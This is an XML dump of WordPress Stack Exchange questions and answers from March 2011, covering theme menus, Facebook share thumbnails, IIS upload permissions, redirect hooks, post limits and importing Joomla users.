  <row Id="12525" PostTypeId="1" AcceptedAnswerId="12946" CreationDate="2011-03-20T06:37:50.053" Score="0" ViewCount="174" Body="&lt;p&gt;Did this feature chang in 3.1?&#xA;I recall that I could change the class of the link in the thickbox popup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/65NaA.png&quot; alt=&quot;Link dialog in WP 3.0.5&quot;&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/kXKIj.png&quot; alt=&quot;Link dialog in WP 3.1&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3603" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-24T15:15:18.287" LastActivityDate="2011-08-04T09:48:58.957" Title="Can't add a class to links in the visual editor since WP 3.1?" Tags="&lt;links&gt;&lt;tinymce&gt;&lt;content&gt;&lt;styles&gt;" AnswerCount="2" />
  <row Id="12526" PostTypeId="2" ParentId="10269" CreationDate="2011-03-20T08:32:19.990" Score="0" ViewCount="" Body="&lt;p&gt;For me it was the &lt;b&gt;Top Level Categories plugin&lt;/b&gt;. Bummer too, I like that plugin. Maybe there is another one that is more up to date.&lt;/p&gt;&#xA;" OwnerUserId="4075" LastActivityDate="2011-03-20T08:32:19.990" />
  <row Id="12528" PostTypeId="2" ParentId="12488" CreationDate="2011-03-20T08:46:35.230" Score="0" ViewCount="" Body="&lt;p&gt;Mike had raised this question on wp-hackers mailing list and got explicit reply from Mark Jaquith on the issue:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Explicitly, since you talk of relaxing, would including flot in a plugin keep that plugin out of the WordPress plugin repository? &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;Right now, it would, yes. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;( &lt;a href=&quot;http://groups.google.com/group/wp-hackers/browse_thread/thread/8522683729f389b2&quot; rel=&quot;nofollow&quot;&gt;thread archive&lt;/a&gt; )&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So at moment code under Apache License 2.0 is &lt;strong&gt;not&lt;/strong&gt; allowed in repository.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-20T08:46:35.230" />
  <row Id="12529" PostTypeId="1" CreationDate="2011-03-20T09:46:44.780" Score="0" ViewCount="92" Body="&lt;p&gt;I have the following structure (defined at Appearance &gt; Menu):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;foo&#xA;&lt;ul&gt;&#xA;&lt;li&gt;fii&lt;/li&gt;&#xA;&lt;li&gt;faa&lt;/li&gt;&#xA;&lt;li&gt;fee&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;bar&#xA;&lt;ul&gt;&#xA;&lt;li&gt;boo&lt;/li&gt;&#xA;&lt;li&gt;bee&lt;/li&gt;&#xA;&lt;li&gt;bii&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, in my theme I have one horizontal menu that shall &lt;em&gt;always&lt;/em&gt; display &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;foo | bar&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below that, there's another horizontal menu which, when &lt;strong&gt;foo&lt;/strong&gt; is clicked, should display:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;fii | faa | fee&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &lt;strong&gt;bar&lt;/strong&gt; is clicked, that same menu shall display:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;boo | bee | bii&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the sub-menus of the currently selected main menu (&lt;em&gt;foo/bar&lt;/em&gt;) shall be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can this be achieved?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4069" LastActivityDate="2011-08-18T05:26:18.027" Title="How can I fetch the next level of the currently selected main menu (hierarchical menu)?" Tags="&lt;themes&gt;&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="12530" PostTypeId="1" CreationDate="2011-03-20T10:02:26.290" Score="1" ViewCount="298" Body="&lt;p&gt;I created some menus, and now I'm trying to set up a conditional construction with wp_nav_menu in header.php, but the behavior is not really as expected. I'm doing something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if ( is_front_page() )  &#xA;{&#xA;     wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'menu' =&amp;gt; '68' ));&#xA;} &#xA;elseif ( is_single() )  &#xA;{&#xA;     wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'menu' =&amp;gt; '69' ) );&#xA;} &#xA;else &#xA;{&#xA;     wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'menu' =&amp;gt; '33' ));&#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the last &quot;else&quot; catches 404s and pages, but with archives (categories, tags, search, author, ...) the menu falls back to the default fallback (wp_list_pages) instead of menu 33. Any ideas why this is happening? Note: I'm modifying the TwentyTen theme.&lt;/p&gt;&#xA;" OwnerUserId="4077" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-20T14:00:58.797" LastActivityDate="2011-08-20T00:32:27.960" Title="Trouble with wp_nav_menu, conditional tags and fallback_cb" Tags="&lt;navigation&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="12531" PostTypeId="1" CreationDate="2011-03-20T10:03:55.180" Score="0" ViewCount="63" Body="&lt;p&gt;I'm using the following code to show one post in a page (Blog pages show at most is set to 1 post):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Front Page&#xA; * @package WordPress&#xA; * @subpackage Prominent&#xA; * @since Prominent 1.0&#xA; */&#xA;get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;tagline&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #tagline --&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;mainbar&quot;&amp;gt;&#xA;            &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;content-block-2&quot;&amp;gt;&#xA;                    &amp;lt;?php the_content(); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;            &amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;            &amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;                &amp;lt;?php next_posts_link( __( '&amp;amp;larr; Older posts', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php previous_posts_link( __( 'Newer posts &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #mainbar --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now I got a prev and next link in my front page. I would like to know if is possible to add a first and latest posts link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By First and Latest posts I mean, for instance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I only allow one post per page, only one post will be shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like a link for post number 1 and 8 in the example below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt; 2 3 4 5 6 7 &lt;strong&gt;8&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-03-20T13:21:16.120" LastActivityDate="2011-03-20T13:21:16.120" Title="Is it possible to add a first and latest posts link?" Tags="&lt;posts&gt;&lt;link&gt;" CommentCount="3" />
  <row Id="12532" PostTypeId="1" AcceptedAnswerId="12596" CreationDate="2011-03-20T10:32:51.587" Score="1" ViewCount="2154" Body="&lt;p&gt;Usually facebook share gets an image from the site to post and shows it as thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you press the share this on facebook link in my test page it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my test site: &lt;a href=&quot;http://alexchen.info/taiwantalk/&quot; rel=&quot;nofollow&quot;&gt;http://alexchen.info/taiwantalk/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Front Page&#xA; * @package WordPress&#xA; * @subpackage Prominent&#xA; * @since Prominent 1.0&#xA; */&#xA;get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;tagline&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #tagline --&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;mainbar&quot;&amp;gt;&#xA;            &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;content-block-2&quot;&amp;gt;&#xA;                    &amp;lt;?php the_content(); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;a href=&quot;http://www.facebook.com/sharer.php?u=&amp;lt;?php the_permalink();?&amp;gt;&amp;amp;t=&amp;lt;?php the_title(); ?&amp;gt;&quot; target=&quot;blank&quot;&amp;gt;Share on Facebook&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;            &amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;            &amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;                &amp;lt;?php next_posts_link( __( '&amp;amp;larr; Older posts', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php previous_posts_link( __( 'Newer posts &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #mainbar --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added all necessary meta tags and links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta charset=&quot;&amp;lt;?php bloginfo( 'charset' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;title&quot; content=&quot;Article headline here&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;description&quot; content=&quot;Article summary here&quot; /&amp;gt;&#xA;&amp;lt;title&amp;gt;&amp;lt;?php&#xA;    /*&#xA;     * Print the &amp;lt;title&amp;gt; tag based on what is being viewed.&#xA;     * We filter the output of wp_title() a bit -- see&#xA;     * twentyten_filter_wp_title() in functions.php.&#xA;     */&#xA;    wp_title( '|', true, 'right' );&#xA;?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&amp;lt;link rel=&quot;profile&quot; href=&quot;http://gmpg.org/xfn/11&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;&amp;lt;?php bloginfo( 'stylesheet_url' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;pingback&quot; href=&quot;&amp;lt;?php bloginfo( 'pingback_url' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;image_src&quot; href=&quot;http://alexchen.info/taiwantalk/wp-content/uploads/2011/03/cheating.png&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is the only thing that is shown:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;asdasd | Taiwan Talk&#xA;  &lt;a href=&quot;http://alexchen.info/taiwantalk/2011/03/&quot; rel=&quot;nofollow&quot;&gt;http://alexchen.info/taiwantalk/2011/03/&lt;/a&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You may use these HTML tags and&#xA;  attributes:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-03-21T03:19:28.877" LastActivityDate="2011-08-09T04:46:41.877" Title="Facebook sharing link is not showing a thumbnail of the images within the post?" Tags="&lt;posts&gt;&lt;facebook&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="12533" PostTypeId="1" CreationDate="2011-03-20T11:34:46.133" Score="0" ViewCount="118" Body="&lt;p&gt;When I upload image, I can preview it, but once it's uploaded, It's broken in post, I'm obliged to go to the directory and go to security to add NETWORK SERVICES the right to access the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix this ? Is this a bug ?&lt;/p&gt;&#xA;" OwnerUserId="4078" LastEditorUserId="4078" LastEditorDisplayName="" LastEditDate="2011-03-20T11:41:25.333" LastActivityDate="2011-06-26T07:32:46.763" Title="Wordpress Bug on IIS ? Problem when uploading image on IIS 7" Tags="&lt;uploads&gt;&lt;image&gt;&lt;iis&gt;" AnswerCount="2" />
  <row Id="12534" PostTypeId="2" ParentId="12407" CreationDate="2011-03-20T11:34:53.443" Score="0" ViewCount="" Body="&lt;p&gt;Year, Month and Day are all public query variables, all you need to do is create a search form with appropriately named inputs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;get&quot; action=&quot;&amp;lt;?php echo home_url( '/' ); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;select name=&quot;day&quot;&amp;gt;&#xA;    &amp;lt;?php foreach( range(1,31) as $day_of_month ) : ?&amp;gt;&#xA;        &amp;lt;option&amp;gt;&amp;lt;?php echo $day_of_month; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;select name=&quot;monthnum&quot;&amp;gt;&#xA;    &amp;lt;?php foreach( range(1,12) as $month_of_year ) : ?&amp;gt;&#xA;        &amp;lt;option&amp;gt;&amp;lt;?php echo $month_of_year; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;select name=&quot;year&quot;&amp;gt;&#xA;    &amp;lt;?php foreach( range(2000,2011) as $_year ) : ?&amp;gt;&#xA;        &amp;lt;option&amp;gt;&amp;lt;?php echo $_year; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Totally untested, but it should do the trick, let me know of any problems.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-20T11:34:53.443" />
  <row Id="12535" PostTypeId="1" CreationDate="2011-03-20T12:26:18.397" Score="0" ViewCount="122" Body="&lt;p&gt;I want to build a plugin that grabs certain url params from the query string to build a new query string for the same page. I'm following the excellent the Professional WordPress Plugin Development book, but I'm not sure which hook to use for this action. Here is my action function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'tccl_redirect' );&#xA;function tccl_redirect() {&#xA;    header ( &quot;Location: http://www.mysite.com/$mypage?$newparam=$newvalue&quot; );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which hooks are suitable for header redirects?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-03-20T14:05:08.030" Title="Which hook should be used to add an action containing a redirect?" Tags="&lt;plugin-development&gt;&lt;redirect&gt;&lt;hooks&gt;&lt;actions&gt;&lt;init&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="12536" PostTypeId="1" AcceptedAnswerId="12541" CreationDate="2011-03-20T12:43:46.133" Score="0" ViewCount="72" Body="&lt;p&gt;I've been trying to limit the amount of posts a user can create in a specific custom post type, and I had some help from Bainternet by &lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-posts-creation-limits/&quot; rel=&quot;nofollow&quot;&gt;checking out his plugin&lt;/a&gt;. I read over that and then came up with my own, but it doesn't seem to be working. I want to make my code much more lightweight than an entire new plugin so I am just adding it to mine, but what am I doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The name of my custom post type will be lets say.. &lt;code&gt;newpages&lt;/code&gt;. And we'll pretend &lt;code&gt;$custom = 'Developer';&lt;/code&gt; has been placed before the function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function efpd_limit_posts(){&#xA;    global $pagenow,$custom;&#xA;    if (is_admin() &amp;amp;&amp;amp; $pagenow=='post-new.php?post_type=newpages'){&#xA;        $theposts = get_posts(array('post_type'=&amp;gt;'newpages'));&#xA;        if (count($theposts) &amp;gt;= '1'){&#xA;            wp_die('You have reached the maximum amount of 'newpages' you can create.');&#xA;}   }   }   &#xA;add_action('admin_head','efpd_limit_posts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="2415" LastEditorDisplayName="" LastEditDate="2011-03-20T14:47:11.527" LastActivityDate="2011-03-20T14:47:11.527" Title="Limiting Amount of Posts in a Custom Post Type again" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" />
  <row Id="12537" PostTypeId="2" ParentId="12533" CreationDate="2011-03-20T12:55:46.873" Score="2" ViewCount="" Body="&lt;p&gt;You are encountering an improperly configured server. Please consult the Wordpress manual on how to setup wordpress on a windows server system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK - but I'm not a windows server expert - you must configure the upload directory that the user executing the PHP Wordpress application is able to access files therein for reading, writing, creating and deleting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally it's possible to configure the needed rights on the parent directory and the same rights will be distributed to the files created therein.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you can consider to run Worpdress on a *nix based host, that's for which it has been written for and which it bests supports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have problems getting it to run and you don't want to switch to linux for your host, you should consider making use of the &lt;a href=&quot;http://www.microsoft.com/web/wordpress&quot; rel=&quot;nofollow&quot;&gt;Microsoft Port of Wordpress&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have general questions how to configure a server, please think about asking your question at &lt;a href=&quot;http://serverfault.com/&quot;&gt;Server Fault&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-20T12:55:46.873" />
  <row Id="12538" PostTypeId="1" AcceptedAnswerId="12558" CreationDate="2011-03-20T13:10:50.200" Score="3" ViewCount="184" Body="&lt;p&gt;I need to import more than 1000 users from joomla to wordpress. I can do that with csv. My main concern are passwords. I did some googling and found out that it is possible to change wordpress password formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone show me some code examples how to do that?&lt;/p&gt;&#xA;" OwnerUserId="4080" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-20T14:06:34.147" LastActivityDate="2011-03-21T00:23:56.037" Title="how to use joomla password format in wordpress?" Tags="&lt;users&gt;&lt;import&gt;&lt;password&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="12539" PostTypeId="1" AcceptedAnswerId="12542" CreationDate="2011-03-20T09:54:12.183" Score="2" ViewCount="180" Body="&lt;p&gt;There are plenty of articles which explain how to create a wordpress plugin. I'm not looking for that, I'm looking for a schema of the core architecture of a wordpress plugin (an UML class diagram and sequence for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has somebody seen anything like that somewhere ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I know plugin can be as simple as a function. It's not my question. My question is about the architecture of the CALLER that calls the plugin, that is the architecture of the SYSTEM pertaining to the call of the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least in which PHP module(s) is it implemented by the Wordpress Core System files ?&lt;/p&gt;&#xA;" OwnerUserId="4078" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-20T13:59:53.797" LastActivityDate="2011-03-20T14:47:44.797" Title="Where can I find a schema of wordpress plugin core architecture?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;wp-settings.php&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="12540" PostTypeId="2" ParentId="12539" CreationDate="2011-03-20T13:20:32.733" Score="2" ViewCount="" Body="&lt;p&gt;The WP plugin architecture is event based and is very simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Events are attached using &lt;code&gt;add_action()&lt;/code&gt; and &lt;code&gt;add_filter()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Events are triggered using &lt;code&gt;do_action()&lt;/code&gt; and &lt;code&gt;apply_filters()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these functions are found in &lt;code&gt;wp-includes/plugin.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found here: &lt;a href=&quot;http://codex.wordpress.org/Plugin_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a &quot;flow diagram&quot; of sorts, see this site: &lt;a href=&quot;http://wp-roadmap.com/demo/&quot; rel=&quot;nofollow&quot;&gt;http://wp-roadmap.com/demo/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-20T14:47:44.797" LastActivityDate="2011-03-20T14:47:44.797" CommentCount="4" />
  <row Id="12541" PostTypeId="2" ParentId="12536" CreationDate="2011-03-20T13:29:35.617" Score="1" ViewCount="" Body="&lt;p&gt;Your array phrasing is wrong, cange&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$count_posts = count(get_posts(array('author'=&amp;gt;$current_user-&amp;gt;ID,'post_type','newpages')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$count_posts = count(get_posts(array('author'=&amp;gt;$current_user-&amp;gt;ID,'post_type' =&amp;gt; 'newpages')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-20T13:29:35.617" CommentCount="9" />
  <row Id="12542" PostTypeId="2" ParentId="12539" CreationDate="2011-03-20T13:58:31.790" Score="4" ViewCount="" Body="&lt;p&gt;There is not much to it, really.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;During the loading of WordPress engine &lt;code&gt;wp-settings.php&lt;/code&gt; file is processed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Among other things this files calls &lt;code&gt;wp_get_active_and_valid_plugins()&lt;/code&gt; function, that gets list of activated (through admin interface) plugins from &lt;code&gt;active_plugins&lt;/code&gt; option (stored in database).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;For each active plugin its main file (the one holding plugin header) is &lt;code&gt;include&lt;/code&gt;d and from there it is up to plugin how it uses Plugins API (more commonly known as hooks) to integrate with WordPress.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Basically it is only a thin layer of active/inactive controls on top of straight PHP &lt;code&gt;include&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-20T13:58:31.790" CommentCount="3" />
  <row Id="12543" PostTypeId="2" ParentId="12538" CreationDate="2011-03-20T13:58:40.247" Score="0" ViewCount="" Body="&lt;p&gt;There are some plugins to bulk reset passwords. I think that's some solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;http://codex.wordpress.org/Pluggable_Functions&quot; rel=&quot;nofollow&quot;&gt;link to the pluggable functions reference at the Codex&lt;/a&gt;. You'll find all kind of functions like eg. wp_salt, wp_hash, etc. Maybe you're searching for a combination of &lt;code&gt;wp_check_password&lt;/code&gt; &amp;amp; &lt;code&gt;wp_generate_password&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-20T15:08:20.350" LastActivityDate="2011-03-20T15:08:20.350" />
  <row Id="12544" PostTypeId="2" ParentId="12535" CreationDate="2011-03-20T13:59:42.423" Score="3" ViewCount="" Body="&lt;p&gt;I'd say &lt;code&gt;template_redirect&lt;/code&gt;. But take a look at the &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;Action Reference&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-20T13:59:42.423" />
  <row Id="12545" PostTypeId="2" ParentId="12530" CreationDate="2011-03-20T14:02:38.027" Score="0" ViewCount="" Body="&lt;p&gt;If you're using the &lt;code&gt;menu&lt;/code&gt; parameter, you can also use the &lt;code&gt;name&lt;/code&gt; or the &lt;code&gt;slug&lt;/code&gt;. Please try those too. If you're sure about the ID, then you could also try using &lt;code&gt;menu_id&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-20T14:02:38.027" />
  <row Id="12547" PostTypeId="2" ParentId="12535" CreationDate="2011-03-20T14:05:08.030" Score="2" ViewCount="" Body="&lt;p&gt;Like kaiser answered &lt;code&gt;template_redirect&lt;/code&gt; hook is indeed appropriate for redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you should use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_redirect()&lt;/code&gt;&lt;/a&gt; function, rather than setting header.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-20T14:05:08.030" CommentCount="1" />
  <row Id="12548" PostTypeId="2" ParentId="12498" CreationDate="2011-03-20T14:12:27.297" Score="1" ViewCount="" Body="&lt;p&gt;The mechanics of excerpt are extremely confusing. It is not precise answer to your question but in general if you need to make template tags, specific to Loop, work with array returned by &lt;code&gt;get_posts()&lt;/code&gt; you can emulate Loop like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$stories = get_posts(); &#xA;&#xA;foreach ($stories as $post) {&#xA;&#xA;    setup_postdata($post);&#xA;&#xA;    // stuff&#xA;}&#xA;wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-20T14:12:27.297" />
